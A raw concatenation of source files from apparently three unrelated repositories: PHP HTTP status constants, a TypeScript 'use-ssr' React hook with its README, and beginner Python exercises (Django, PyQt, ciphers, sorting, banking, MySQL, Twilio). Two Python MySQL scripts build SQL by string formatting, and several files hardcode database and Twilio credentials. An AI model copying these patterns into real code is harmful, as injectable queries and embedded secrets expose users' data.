connection to prevent the client from continuing the request.¶ * * If the condition is temporary, the server should generate a Retry-After * header field to indicate that it is temporary and after what time the * client may try again. * * @codingStandardsIgnoreStart * * @link https://svn.tools.ietf.org/svn/wg/httpbis/specs/rfc7231.html#status.413 * @codingStandardsIgnoreEnd * @var int */ const PAYLOAD_TOO_LARGE = 413; /** * The 414 (URI Too Long) status code indicates that the server is * refusing to service the request because the request-target (Section 5.3 * of [RFC7230]) is longer than the server is willing to interpret. This * rare condition is only likely to occur when a client has improperly * converted a POST request to a GET request with long query information, * when the client has descended into a "black hole" of redirection (e.g., * a redirected URI prefix that points to a suffix of itself) or when the * server is under attack by a client attempting to exploit potential * security holes.¶ * * A 414 response is cacheable by default; i.e., unless otherwise indicated * by the method definition or explicit cache controls (see Section 4.2.2 * of [RFC7234]). * * @codingStandardsIgnoreStart * * @link https://svn.tools.ietf.org/svn/wg/httpbis/specs/rfc7231.html#status.414 * @codingStandardsIgnoreEnd * @var int */ const URI_TOO_LONG = 414; /** * The 415 (Unsupported Media Type) status code indicates that the origin * server is refusing to service the request because the payload is in a * format not supported by this method on the target resource. The format * problem might be due to the request's indicated Content-Type or * Content-Encoding, or as a result of inspecting the data directly. * * @codingStandardsIgnoreStart * * @link https://svn.tools.ietf.org/svn/wg/httpbis/specs/rfc7231.html#status.415 * @codingStandardsIgnoreEnd * @var int */ const UNSUPPORTED_MEDIA_TYPE = 415; /** * The 417 (Expectation Failed) status code indicates that the expectation * given in the request's Expect header field (Section 5.1.1) could not be * met by at least one of the inbound servers. * * @codingStandardsIgnoreStart * * @link https://svn.tools.ietf.org/svn/wg/httpbis/specs/rfc7231.html#status.417 * @codingStandardsIgnoreEnd * @var int */ const EXPECTATION_FAILED = 417; /** * The 426 (Upgrade Required) status code indicates that the server refuses * to perform the request using the current protocol but might be willing to * do so after the client upgrades to a different protocol. The server must * send an Upgrade header field in a 426 response to indicate the required * protocol(s) (Section 6.7 of [RFC7230]).¶ * * Example: * * HTTP/1.1 426 Upgrade Required * Upgrade: HTTP/3.0 * Connection: Upgrade * Content-Length: 53 * Content-Type: text/plain * * This service requires use of the HTTP/3.0 protocol. * * @codingStandardsIgnoreStart * * @link https://svn.tools.ietf.org/svn/wg/httpbis/specs/rfc7231.html#status.426 * @codingStandardsIgnoreEnd * @var int */ const UPGRADE_REQUIRED = 426; /** * The 500 (Internal Server Error) status code indicates that the server * encountered an unexpected condition that prevented it from fulfilling the * request. * * @codingStandardsIgnoreStart * * @link https://svn.tools.ietf.org/svn/wg/httpbis/specs/rfc7231.html#status.500 * @codingStandardsIgnoreEnd * @var int */ const INTERNAL_SERVER_ERROR = 500; /** * The 501 (Not Implemented) status code indicates that the server does not * support the functionality required to fulfill the request. This is the * appropriate response when the server does not recognize the request * method and is not capable of supporting it for any resource. * * A 501 response is cacheable by default; i.e., unless otherwise indicated * by the method definition or explicit cache controls (see Section 4.2.2 of * [RFC7234]). * * @codingStandardsIgnoreStart * * @link https://svn.tools.ietf.org/svn/wg/httpbis/specs/rfc7231.html#status.501 * @codingStandardsIgnoreEnd * @var int */ const NOT_IMPLEMENTED = 501; /** * The 502 (Bad Gateway) status code indicates that the server, while acting * as a gateway or proxy, received an invalid response from an inbound * server it accessed while attempting to fulfill the request. * * @codingStandardsIgnoreStart * * @link https://svn.tools.ietf.org/svn/wg/httpbis/specs/rfc7231.html#status.502 * @codingStandardsIgnoreEnd * @var int */ const BAD_GATEWAY = 502; /** * The 503 (Service Unavailable) status code indicates that the server is * currently unable to handle the request due to a temporary overload or * scheduled maintenance, which will likely be alleviated after some delay. * The server may send a Retry-After header field (Section 7.1.3) to suggest * an appropriate amount of time for the client to wait before retrying the * request.¶ * * Note: The existence of the 503 status code does not imply that a server * has to use it when becoming overloaded. Some servers might simply refuse * the connection. * * @codingStandardsIgnoreStart * * @link https://svn.tools.ietf.org/svn/wg/httpbis/specs/rfc7231.html#status.503 * @codingStandardsIgnoreEnd * @var int */ const SERVICE_UNAVAILABLE = 503; /** * The 504 (Gateway Timeout) status code indicates that the server, while * acting as a gateway or proxy, did not receive a timely response from an * upstream server it needed to access in order to complete the request. * * @codingStandardsIgnoreStart * * @link https://svn.tools.ietf.org/svn/wg/httpbis/specs/rfc7231.html#status.504 * @codingStandardsIgnoreEnd * @var int */ const GATEWAY_TIMEOUT = 504; /** * The 505 (HTTP Version Not Supported) status code indicates that the * server does not support, or refuses to support, the major version of HTTP * that was used in the request message. The server is indicating that it is * unable or unwilling to complete the request using the same major version * as the client, as described in Section 2.6 of [RFC7230], other than with * this error message. The server should generate a representation for the * 505 response that describes why that version is not supported and what * other protocols are supported by that server. * * @codingStandardsIgnoreStart * * @link https://svn.tools.ietf.org/svn/wg/httpbis/specs/rfc7231.html#status.505 * @codingStandardsIgnoreEnd * @var int */ const HTTP_VERSION_NOT_SUPPORTED = 505; }
22de3491d03c26d148d01911820af8a325445876
[ "PHP" ]
1
PHP
KoenraadM/teapot
08ba1b92834658fa3b5deacdd9acec839e596f47
a68b0323d8c90d695d43f83a66bae05556789b8f
refs/heads/master
<file_sep>import 'react-native' import { renderHook } from '@testing-library/react-hooks' import useSSR from './useSSR'; describe('useSSR', () => { // TODO: get this to work... it('should correctly tell if we are in a react native environment', () => { const { result } = renderHook(() => useSSR()) const { isBrowser, isServer, isNative } = result.current expect(isBrowser).toBe(false) expect(isServer).toBe(false) expect(isNative).toBe(true) }); }); <file_sep> interface UseSSRReturn { isBrowser: boolean isServer: boolean isNative: boolean device: Device canUseWorkers: boolean canUseEventListeners: boolean canUseViewport: boolean } export enum Device { Browser = 'browser', Server = 'server', Native = 'native', } const { Browser, Server, Native } = Device const canUseDOM: boolean = !!( typeof window !== 'undefined' && window.document && window.document.createElement ) const canUseNative: boolean = typeof navigator != 'undefined' && navigator.product == 'ReactNative' const device = canUseNative ? Native : canUseDOM ? Browser : Server const SSRObject = { isBrowser: device === Browser, isServer: device === Server, isNative: device === Native, device, canUseWorkers: typeof Worker !== 'undefined', canUseEventListeners: device === Browser && !!window.addEventListener, canUseViewport: device === Browser && !!window.screen, } // TODO: instead of this, do a polyfill for `Object.assign` https://www.npmjs.com/package/es6-object-assign const assign = (...args: any[]) => args.reduce((acc, obj) => ({ ...acc, ...obj }), {}) const values = (obj: any) => Object.keys(obj).map(key => obj[key]) const toArrayObject = (): UseSSRReturn => assign((values(SSRObject), SSRObject)) let useSSRObject = toArrayObject() export const weAreServer = () => { SSRObject.isServer = true useSSRObject = toArrayObject() } export const useSSR = (): UseSSRReturn => useSSRObject export default useSSR <file_sep>import { renderHook } from '@testing-library/react-hooks' import useSSR from './useSSR'; describe('useSSR', () => { it('should correctly tell if we are on the server', () => { const { result } = renderHook(() => useSSR()) const { isServer, isBrowser, isNative, device } = result.current expect(isServer).toBe(true) expect(isBrowser).toBe(false) expect(isNative).toBe(false) expect(device).toBe('server') }); }); <file_sep><h1 align="center">useSSR</h1> <p align="center">☯️ React hook to determine if you are on the server, browser, or react native</p> <p align="center"> <a href="https://github.com/alex-cory/use-ssr/pulls"> <img src="https://camo.githubusercontent.com/d4e0f63e9613ee474a7dfdc23c240b9795712c96/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f5052732d77656c636f6d652d627269676874677265656e2e737667" /> </a> <a href="https://www.npmjs.com/package/use-ssr"> <img src="https://img.shields.io/npm/dt/use-ssr.svg" /> </a> <a href="https://lgtm.com/projects/g/alex-cory/use-ssr/context:javascript"> <img src="https://img.shields.io/lgtm/grade/javascript/g/alex-cory/use-ssr.svg?logo=lgtm&logoWidth=18"/> </a> <a href="https://bundlephobia.com/result?p=use-ssr"> <img alt="undefined" src="https://img.shields.io/bundlephobia/minzip/use-ssr.svg"> </a> <a href="https://greenkeeper.io/"> <img src="https://badges.greenkeeper.io/alex-cory/use-ssr.svg"> </a> <a href="https://github.com/alex-cory/use-ssr/blob/master/license.md"> <img alt="undefined" src="https://img.shields.io/github/license/alex-cory/use-ssr.svg"> </a> <a href="https://codeclimate.com/github/alex-cory/use-ssr/maintainability"> <img src="https://api.codeclimate.com/v1/badges/e661bf6aa5e4d64502c6/maintainability" /> </a> <a href="https://snyk.io/test/github/alex-cory/use-ssr?targetFile=package.json"> <img src="https://snyk.io/test/github/alex-cory/use-ssr/badge.svg?targetFile=package.json" alt="Known Vulnerabilities" data-canonical-src="https://snyk.io/test/github/alex-cory/use-ssr?targetFile=package.json" style="max-width:100%;"> </a> <a href="https://www.npmjs.com/package/use-ssr"> <img src="https://img.shields.io/npm/v/use-ssr.svg" alt="Known Vulnerabilities" data-canonical-src="https://snyk.io/test/github/alex-cory/use-ssr?targetFile=package.json" style="max-width:100%;"> </a> <a href="https://circleci.com/gh/alex-cory/use-ssr"> <img src="https://img.shields.io/circleci/project/github/alex-cory/use-ssr/master.svg" /> </a> </p> Need to know when you're *on the server*, *in the browser* or in *react native* in your components/hooks? This simple hook makes it easy. 🔥 [![](./useSSR.png)](https://codesandbox.io/s/usessr-in-nextjs-actual-epb25) Features -------- - SSR (server side rendering) support - TypeScript support - Zero dependencies - React Native support ### Examples - [Example - Next.js - codesandbox container](https://codesandbox.io/s/usessr-in-nextjs-actual-epb25) (sometimes containers are buggy, if so try [this example](https://codesandbox.io/s/usessr-in-nextjs-4gy7v)) Installation ------------ ```shell yarn add use-ssr or npm i -S use-ssr ``` Usage ----- ```jsx import useSSR from 'use-ssr' const App = () => { var { isBrowser, isServer, isNative } = useSSR() // Want array destructuring? You can do that too! var [isBrowser, isServer, isNative] = useSSR() /* * In your browser's chrome devtools console you should see * > IS BROWSER: 👍 * > IS SERVER: 👎 * * AND, in your terminal where your server is running you should see * > IS BROWSER: 👎 * > IS SERVER: 👍 */ console.log('IS BROWSER: ', isBrowser ? '👍' : '👎') console.log('IS SERVER: ', isServer ? '👍' : '👎') console.log('IS NATIVE: ', isNative ? '👍' : '👎') return ( <> Is in browser? {isBrowser ? '👍' : '👎'} <br /> Is on server? {isServer ? '👍' : '👎'} <br /> Is react native? {isNative ? '👍' : '👎'} </> ) } ``` Options ------- ```js const { isBrowser, isServer, isNative, device, // 'server', 'browser', or 'native' canUseWorkers, canUseEventListeners, canUseViewport, } = useSSR() // OR const [ isBrowser, isServer, isNative, device, // 'server', 'browser', or 'native' canUseWorkers, canUseEventListeners, canUseViewport, ] = useSSR() ``` <!-- Who Uses useSSR? --------------- <p align="center"> <img height="140px" src="https://user-images.githubusercontent.com/5455859/106836083-55077880-664d-11eb-95a4-d317f06b2f36.png" /> </p> --> ### Todos - [ ] tests for array destructuring - [ ] set up code climate test coverage - [ ] add typescript array return types - [ ] optimize badges [see awesome badge list](https://github.com/boennemann/badges) - [ ] add code climate test coverage badge - [X] codesandbox examples - [X] continuous integration - [X] greenkeeper
e25a71b7ab82d4614112283142187b125fa23004
[ "Markdown", "TypeScript" ]
4
TypeScript
alex-cory/use-ssr
843e0c9319cb5fa7d828a44b41dc70b64c323045
b0b306b21e3dcea44a8e523924a35a36d11ee6f0
refs/heads/master
<repo_name>VaibhaviShah/Python_Projects<file_sep>/Authentication/authentication.py # authentication simple code using dictionary accessGranted = False member_dict = {'A': 'a1', 'B': 'b1', 'C': 'c1', 'D': 'd1'} while accessGranted == False: username = input("Please enter your membership username: ") if username in member_dict: password = input("Hello "+username + '! Please enter your password: ') if password == member_dict[username]: print("ACCESS GRANTED") accessGranted = True else: print("Incorrect Password \n ACCESS DENIED") else: print("No such username. \n ACCESS DENIED")<file_sep>/Library/library.py # Class ==> Library # Layers of Abstraction ==> display books, lend a book, add a book class Library: def __init__(self, listOfBooks): self.availableBooks = listOfBooks def displayBooks(self): print('\n Available Books: ') for book in self.availableBooks: print(book) def lendBook(self, requestedBook): if requestedBook in self.availableBooks: print("You have now borrowed the book") self.availableBooks.remove(requestedBook) else: print("Sorry, the book is not available") def addBook(self, returnedBook): self.availableBooks.append(returnedBook) print("You have returned the book. Thank You") # class Customer: # def requestBook(self): # print("Enter the name of book you would like to borrow: ") # self.book = input() # return self.book # # def returnBook(self): # print("Enter the name of the book you want to return: ") # self.book = input() # return self.book # # library = Library(['<NAME>', 'Monk who sold his Ferrari', '5 Love Languages']) # customer = Customer() # # while True: # print("Enter 1 to display books") # print("Enter 2 to lend a book") # print("Enter 3 to return a book") # print("Enter 4 to exit") # userChoice = int(input()) # # if userChoice is 1: # library.displayBooks() # elif userChoice is 2: # requestedBook = customer.requestBook() # library.lendBook(requestedBook) # elif userChoice is 3: # returnedBook = customer.returnBook() # library.addBook(returnedBook) # else: # quit() <file_sep>/Algorithms/bubble_sort.py """ Bubble Sort: A naive sorting that compares and swaps adjacent elements Time Complexity: O(n**2) Space Complexity: O(1) """ def sort(seq): """ Takes a list of integers and sorts them in ascending order and this sorted list is then returned. :param seq: A list of integers :return: A list of sorted integers """ l = len(seq) for i in range(l): for n in range(1, l-1): if seq[n] < seq[n-1]: seq[n-1], seq[n] = seq[n], seq[n-1] print(seq) return seq print("final seq:", sort([349, 85, 785, 56, 94, 83])) <file_sep>/Tip Calculator/tip_calc.py """ This is a simple program to calculate a tip and also each individual's share of the bill along with the tip. """ def calc(amnt, persons, tip): """ Calculates the tip, and individual share :param amnt: The total bill amount in number :param persons: The no. of individual shares to be calculated for :param tip: The percent of bill amount to be paid as extra tip :return: Will print the tip, total amount to be paid and individual share """ # percent of tip tip_amnt = round((tip/100)*amnt, 2) print("The tip you wish to pay is "+str(tip_amnt)) indiv_bill = round(amnt/persons, 2) print("individual share for bill amount is: " + str(indiv_bill)) indiv_tip = round(tip_amnt/persons, 2) print("Individual share for tip is: " + str(indiv_tip)) print("Total individual share is: " + str(round(indiv_tip+indiv_bill)), 2) def main(): """ Interacts with user to know the basic parameters required to calculate makes a call to calculate function for final calculations :return: Nothing """ print("The Bill amount: ") while True: try: amnt = float(input()) break except: print("Must be a number value") print("Enter the no. of individual shares: ") while True: try: persons = int(input()) break except: print("Must be a number value") print("The tip percent you wish to give: ") while True: try: tip = int(input()) break except: print("Must be a number value") calc(amnt, persons, tip) if __name__ == '__main__': main()<file_sep>/Take_a_Break/break.py import time import webbrowser total_breaks = 3 break_count = 0 print("Study time started at: " + str(time.ctime())) while (break_count <= total_breaks): time.sleep(2) webbrowser.open("www.gmail.com") print("") break_count += 1 <file_sep>/GraphicalUserInterface/GUI csv to kml.py import pandas import tkinter from tkinter.filedialog import askopenfilename import simplekml def browseCSV(): global infile infile = askopenfilename() def kmlFunction(outfile="D:\IntelliJ Projects\GraphicalUserInterface\sampleMarker.kml"): df = pandas.read_csv(infile) kml=simplekml.Kml() for long, lat in zip(df['Longitude'], df['Latitude']): kml.newpoint(coords=[(long, lat)]) kml.save(outfile) root = tkinter.Tk() root.title("KML Generator") label = tkinter.Label(root, text='This program generates a KML File') label.pack() browseButton = tkinter.Button(root, text='Browse', command=browseCSV) browseButton.pack() kmlButton = tkinter.Button(root, text='Generate KML', command=kmlFunction) kmlButton.pack() root.mainloop()<file_sep>/Secret Message/prank.py import os def rename_files(): # get file names from folder file_list = os.listdir(r"D:\IntelliJ Projects\Secret Message\prank") print(file_list) saved_path = os.getcwd() print("Current Working Directory: "+saved_path) os.chdir(r"D:\IntelliJ Projects\Secret Message\prank") for file_name in file_list: print("Old Name: "+file_name) # renaming file by removing numbers new_file_name = file_name.translate(file_name.maketrans('', '', '1234567890')) os.rename(file_name, new_file_name) print("New Name: "+new_file_name) os.chdir(saved_path) rename_files() <file_sep>/InheritanceStudy/multiLevelInheritance.py # Code for Multi- Level Inheritance class MusicalInstruments(): numberOfMajorKeys = 12 class StringedInstruments(MusicalInstruments): typeOfWood = 'ToneWood' class Guitar(StringedInstruments): def __init__(self): self.numberOfStrings = 6 print("This Guitar consists of {} strings. It is made of {}, and has {} major keys.".format(self.numberOfStrings, self.typeOfWood, self.numberOfMajorKeys)) guitar = Guitar()<file_sep>/Algorithms/merge_sort.py """ Merge Sort: Uses divide and Conquer to recursively divide and sort the list Time Complexity: O(n log n) """ def merge(left, right): """ Takes two sorted sub lists and merges them in to a single sorted sub list and returns it. :param left: A list of sorted integers :param right: A list of Sorted integers :return: A list of sorted integers """ result = [] n, m = 0, 0 while n < len(left) and m < len(right): if left[n] <= right[m]: result.append(left[n]) n += 1 else: result.append(right[m]) m += 1 result += left[n:] result += right[m:] return result def sort(seq): """ Takes a list of integers and sorts them in ascending order. This sorted list is then returned. :param seq: A list of integers :return: A list of sorted integers """ if len(seq) <= 1: return seq middle = int(len(seq)/ 2) left = sort(seq[:middle]) right = sort(seq[middle:]) return merge(left, right) print(sort([23, 45, 22, 44, 996, 345, 95, 1]))<file_sep>/GoogleEarthKML/simpleMarkers.py import simplekml import pandas df = pandas.read_csv("D:\IntelliJ Projects\GoogleEarthKML\sampleMarker.csv") kml = simplekml.Kml() for long, lat in zip(df["Longitude"], df["Latitude"]): kml.newpoint(coords=[(long, lat)]) kml.save("D:\IntelliJ Projects\GoogleEarthKML\sampleMarker.kml") <file_sep>/CaeserCypher/cypherCode.py # Caeser Cypher alphabet = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'] message = input("Text to be encrypted: ") inputString = message.lower() shift = int(input("No. of places to be shifted: ")) translated_msg = {} for i in range(0, 26): letter = alphabet[i] translated_msg[letter] = alphabet[(i+shift)%26] print(alphabet[i] + ":" + translated_msg[letter]) cypherText = '' for letter in inputString: if letter in translated_msg: letter = translated_msg[letter] cypherText = cypherText + letter else: cypherText = cypherText + ' ' print(cypherText) <file_sep>/BankingSystem/banking.py from abc import ABCMeta, abstractmethod from random import randint class Account(metaclass=ABCMeta): @abstractmethod def createAccount(): return 0 @abstractmethod def authentication(): return 0 @abstractmethod def withDraw(): return 0 @abstractmethod def deposit(): return 0 @abstractmethod def displayBalance(): return 0 class SavingsAccount(Account): def __init__(self): self.savingsAccounts = {} def createAccount(self, name, initialDeposit): self.accountNumber = randint(10000, 99999) self.savingsAccounts[self.accountNumber] = [name, initialDeposit] print("Your Account number is: ", self.accountNumber) def authentication(self, name, accountNumber): if accountNumber in self.savingsAccounts.keys(): if self.savingsAccounts[accountNumber][0] == name: print("Authentication Successful") return True else: print("Authentication Failed") return False else: print("Authentication Failed") return False def withDraw(self, withdrawalAmount): if withdrawalAmount > self.savingsAccounts[self.accountNumber][1]: print("Insufficient Balance") else: self.savingsAccounts[self.accountNumber][1] -= withdrawalAmount print("Withdawal successfuk. Available balance: ") self.displayBalance() def deposit(self, depositAmount): self.savingsAccounts[self.accountNumber][1] += depositAmount print("Withdrawal successful. Available balance: ") self.displayBalance() def displayBalance(self): print("Availabe balance is: ", self.savingsAccounts[self.accountNumber][1]) savingAccount = SavingsAccount() while True: print("Enter 1 to create a new Account") print("Enter 2 to access existing account") print("Enter 3 to exit") userInput = int(input()) if userInput is 1: name = input("Enter your name: ") deposit = int(input("Enter initial deposit amount: ")) savingAccount.createAccount(name, deposit) elif userInput is 2: name = input("Enter your name: ") account = int(input("Enter your account number: ")) status = savingAccount.authentication(name, account) if status is True: while True: print("Enter 1 to display balance") print("Enter 2 to Withdraw") print("Enter 3 to deposit") print("Enter 4 to go back to prev menu") userChoice = int(input()) if userChoice is 1: savingAccount.displayBalance() elif userChoice is 2: withdraw = int(input("Enter amount to Withdraw: ")) savingAccount.withDraw(withdraw) elif userChoice is 3: deposit = int(input("Enter amount to Deposit: ")) savingAccount.deposit(deposit) elif userChoice is 4: break elif userInput is 3: quit() <file_sep>/CaeserCypher/cypherDecode.py ## Decoding the cypher using BruteForce Attack alphabet = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'] inputString = input("Text to be decrypted: ") inputString = inputString.lower() translated_msg = {} def createDict(shift): for i in range(0, 26): letter = alphabet[i] translated_msg[letter] = alphabet[(i+shift)%26] def deCode(message): cypherText = '' for letter in message: if letter in translated_msg: letter = translated_msg[letter] cypherText = cypherText + letter else: cypherText = cypherText + ' ' print(cypherText) for i in range(0, 26): createDict(i) deCode(inputString) <file_sep>/Algorithms/quick_sort.py """ Quick Sort: Uses partitioning to recursively divide and sort a list Time Complexity: O(n**2) worst case Space Complexity: O(n**2) """ def sort(seq): """ Takes a list of integers and sorts them in ascending order. this sorted list is then returned. :param seq: A list of integers :return: A list of sorted integers """ if len(seq) <= 1: return seq else: pivot = seq[0] left, right = [],[] for x in seq[1:]: if x < pivot: left.append(x) else: right.append(x) return sort(left) + [pivot] + sort(right) print(sort([85, 349, 56, 94, 785, 83])) <file_sep>/Library/LibMgmt.py from customer import Customer from library import Library library_1 = Library(['Atlas Shrugged', 'Monk who sold his Ferrari', '5 Love Languages']) user = Customer() while True: print("Enter 1 to display books") print("Enter 2 to lend a book") print("Enter 3 to return a book") print("Enter 4 to exit") userChoice = int(input()) if userChoice is 1: library_1.displayBooks() elif userChoice is 2: requestedBook = user.requestBook() library_1.lendBook(requestedBook) elif userChoice is 3: returnedBook = user.returnBook() library_1.addBook(returnedBook) else: quit() <file_sep>/Algorithms/binary_search.py """ Binary Search: Recursively partitions the list until the 'key' is found Time Complexity: O(log n) """ def search(seq, key): """ Takes a list of integers and searches if the 'key' is contained within the list :param seq: A list of Integers :param key: The integer to be searched for :return: The index of where the 'key' is located in the list If 'key' is not found then False is returned. """ low = 0 high = len(seq) - 1 print("High: ", high) while high >= low: mid = low + (high - low) // 2 print("Mid", mid) if seq[mid] < key: low = mid + 1 elif seq[mid] > key: high = mid - 1 else: return mid return False print(search([1,2,6,4,8,6,9], 6)) print(search([1,2,6,4,8,6,9], 9)) <file_sep>/Movie/entertainment_center.py import fresh_tomatoes import media toy_story = media.Movie("Toy Story", "It is a story of a boy whose toys come to life", "https://upload.wikimedia.org/wikipedia/en/1/13/Toy_Story.jpg", "https://www.youtube.com/watch?v=KYz2wyBy3kc") avatar = media.Movie("Avatar", "A biologist visits an alien planet", "https://pmcdeadline2.files.wordpress.com/2013/12/avatar__131216143856.jpg", "https://www.youtube.com/watch?v=8V2IaMqFIVw") exam = media.Movie("Exam", "How a CEO tests people to identify his successor", "https://upload.wikimedia.org/wikipedia/en/0/09/Exam_poster.jpg", "https://www.youtube.com/watch?v=bkdt2Sygew0") movies = [toy_story, avatar, exam] fresh_tomatoes.open_movies_page(movies) <file_sep>/drawMindStorming/flower.py import turtle def draw_flower(petal_no, some_turtle, radius): degree_t = int(360/petal_no) print(degree_t) for petal_no in range(0, petal_no): some_turtle.circle(radius) some_turtle.right(degree_t) def draw_art(): window = turtle.Screen() shoe = turtle.Turtle() shoe.shape("turtle") shoe.color("Pink") draw_flower(5, shoe, 100) paper = turtle.Turtle() paper.shape("turtle") paper.color("Red") draw_flower(9, paper, 80) window.exitonclick() draw_art()<file_sep>/BlackJack/import_test.py import blackjack global_copy = sorted(globals()) for x in global_copy: print(x) """ print(__name__) blackjack.play() """<file_sep>/Library/customer.py # class ==> Customer # Layers of Abstraction ==> request a book, return a book class Customer: def requestBook(self): print("Enter the name of book you would like to borrow: ") self.book = input() return self.book def returnBook(self): print("Enter the name of the book you want to return: ") self.book = input() return self.book<file_sep>/TextMessaging/send_text.py from twilio.rest import Client account_sid = "<KEY>" auth_token = "<KEY> <PASSWORD>a08e87cdb53a389" client = Client(account_sid, auth_token) #message = client.api.account.messages.create(body = "This SMS is through my python code", # to = "+917977504651", # from_ = "+16303945970") message = client.messages.create(body = "This SMS is through my python code", to = "+917977504651", from_ = "+16303945970") print(message.sid)
9fae928e1621bbbfbef298dcc2725b194c1a4794
[ "Python" ]
21
Python
VaibhaviShah/Python_Projects
7c0c607402908c79c5e6684d917c993ce14c853a
cdb05763f6a1e5c5db416543ea03e79ad1acbac1
refs/heads/master
<repo_name>darkfree97/python-education-rep<file_sep>/dj_prakt/main/views.py from django.shortcuts import render from django.views.generic.base import ContextMixin from django.views.generic.base import TemplateView class CategoryListMixin(ContextMixin): def get_context_data(self, **kwargs): context = super(CategoryListMixin, self).get_context_data(**kwargs) context["current_url"] = self.request.path return context class MainPageView(TemplateView, CategoryListMixin): template_name = "main/main.html" def main_view(request): title = "Darkfree" content = "Hello World!" return render(request, 'index.html', {'title': title, 'content': content}) <file_sep>/untitled1/main.py # from Cards import * # from random import choice # # my_card = Card("7", "diamonds") # print(my_card) # dec = FrenchDeck() # print(len(dec), dec[0], dec[-1], choice(dec)) # print(3+4) # print(3*4) # print(3**4) # name = input("What tour name? \n") # print("Hello ", name, " !") # a = 1 # b = 2 # c = 3 # d = 4 # # if (a == 1 and b == 2 # and c == 3 and d == 4): # print('spam ' * 3) # # if 3 > 2: print("Yes") # f = True # if f: # print("f is True") # else: # print("f is not True") # a = int(input("Input the number")) # if a<-5: # print("Level Low") # elif 5<a<-5: # print("Level Middle") # else: # print("Level Hight") # n = int(input("Please input N: ")) # while n: # print(n) # n -= 1 # for i in "H&e&l&l&o& &W&o&r&l&d": # if i == "&": # continue # else: # print(i, end="") # print() # a = 2 # print(2 is a) # import keyword # # print(keyword.kwlist) # import types # types # import files # files import oop oop<file_sep>/README.md # python.labs education <file_sep>/Les1/MainWindow.py import sys, textProcessor from PyQt4 import QtGui, uic ui = uic.loadUiType("Les1.ui")[0] class MainWindow(QtGui.QMainWindow, ui): def __init__(self, parent=None): QtGui.QMainWindow.__init__(self, parent) self.setupUi(self) self.pushButton.clicked.connect(self.go_to_work) self.pushButton_2.clicked.connect(self.setClear) self.open_file.triggered.connect(self.fileOpen) self.read_file.triggered.connect(self.file_read) def go_to_work(self): text = self.textEdit.toPlainText() textProcessor.textProcessor(text) self.statusbar.showMessage("Ваш текст оброблено", 1000) def setClear(self): self.textEdit.clear() self.statusbar.showMessage("Поле успішно очищено", 1000) self.textEdit.setReadOnly(False) def fileOpen(self): self.textEdit.clear() file = open("Files/names.txt", "r") for line in file: self.textEdit.append(line) file.close() file = open("Files/dates.txt", "r") for line in file: self.textEdit.append(line) file.close() file = open("Files/phones.txt", "r") for line in file: self.textEdit.append(line) file.close() file = open("Files/mails.txt", "r") for line in file: self.textEdit.append(line) file.close() self.textEdit.setReadOnly(True) def file_read(self): self.textEdit.clear() file = open("Files/start_file.txt", "r") self.textEdit.append(file.read()) <file_sep>/Les6_DB_API/main.py import mysql.connector db = mysql.connector.connect(user="root", password="<PASSWORD>", host="127.0.0.1", database="my_users") cursor = db.cursor() phone = "+380977456929" query = 'SELECT * FROM users WHERE phone = "%s"' % phone cursor.execute(query) for (fname, lname, year, mail, phone) in cursor: print(fname, lname, year, mail, phone) db.close() <file_sep>/AVDLab3/fileProcessor.py def names_write(names): file = open("files/names.txt", "w") file.write("<p style='color: red'>Імена: </p>\n") for item in names: file.write(item + "\n") file.close() def dates_write(dates): file = open("files/dates.txt", "w") file.write("<p style='color: red'>Дати: </p>\n") for item in dates: file.write(item + "\n") file.close() def mails_write(mails): file = open("files/mails.txt", "w") file.write("<p style='color: red'>Поштові скриньки:</p>\n") for item in mails: file.write(item + "\n") file.close() def phone_write(phones): file = open("files/phones.txt", "w") file.write("<p style='color: red'>Номери мобільних телефонів що є в тексті: </p>\n") for item in phones: file.write(item + "\n") file.close() <file_sep>/AVDLab3/query.py import mysql.connector from Item import Item class Query: def __init__(self, phone_list=[]): self.phone_list = phone_list self.db = mysql.connector.connect(user="root", password="<PASSWORD>", host="127.0.0.1", database="my_users") self.cursor = self.db.cursor() self.ask_result = [] def search(self, phones): self.phone_list = phones self.ask_result.clear() if len(self.phone_list) == 0: return False for phone in self.phone_list: query = 'SELECT * FROM users WHERE phone = "%s"' % phone self.cursor.execute(query) for (fname, lname, year, mail, phone) in self.cursor: item = Item(fname, lname, str(year), mail, phone) self.ask_result.append(item) return self.ask_result def __del__(self): self.db.close() <file_sep>/dj_prakt/main/urls.py from django.conf.urls import url from main.views import MainPageView, main_view app_name = 'main' urlpatterns = [ # url(r'^$', MainPageView.as_view, name='main'), url(r'^$', main_view, name='main'), ] <file_sep>/untitled1/types.py # A = "spam " # B = "eggs" # print(A+B) # print(A*3) # print(len(B)) # print(B[:3]) # A = "Hello, {}!".format("Ihor") # B = list(A) # while len(B) > 0: # print(B.pop()) # a = {'a', 'b', 'c', 'd'} # b = {1, 2, 3, 4} # c = a.union(b) # print(c) # def Plus(x, y): # return x + y # def newFunc(n): # def myFunc(x): # return x + n # return myFunc # mySup = lambda a, b: a + b # # print(Plus(100, 200)) # xee = newFunc(100) # print(xee(200)) # print(mySup(100, 200)) # try: # 100/0 # except ArithmeticError: # print("Infinity") <file_sep>/AVDLab3_2.0/__init__.py import sys from MainWindow import * app = QtGui.QApplication(sys.argv) my_window = MainWindow() my_window.show() app.exec() <file_sep>/AC/__init__.py bin_file = open("boss.bin", 'rb') file1 = open("L11_lo.txt", 'w') file2 = open("L11_hi.txt", 'w') f = True for i in bin_file: for j in i: print(str(j)) buf = str(hex(j))[2:] if len(buf) == 1: buf = '0'+buf if f: file1.write(buf+'\n') else: file2.write(buf+'\n') f = not f bin_file.close() file1.close() file2.close() <file_sep>/DjLes_1/django-polls/polls/migrations/0002_auto_20170101_1545.py # -*- coding: utf-8 -*- # Generated by Django 1.10.1 on 2017-01-01 13:45 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('polls', '0001_initial'), ] operations = [ migrations.RemoveField( model_name='choice', name='Запитання', ), migrations.AlterField( model_name='question', name='pub_date', field=models.DateTimeField(verbose_name='date publishing'), ), migrations.AlterField( model_name='question', name='question_text', field=models.CharField(max_length=200), ), migrations.DeleteModel( name='Choice', ), ] <file_sep>/untitled1/files.py l = [str(i)+str(i-1) for i in range(20)] f = open("file.txt", "w") for 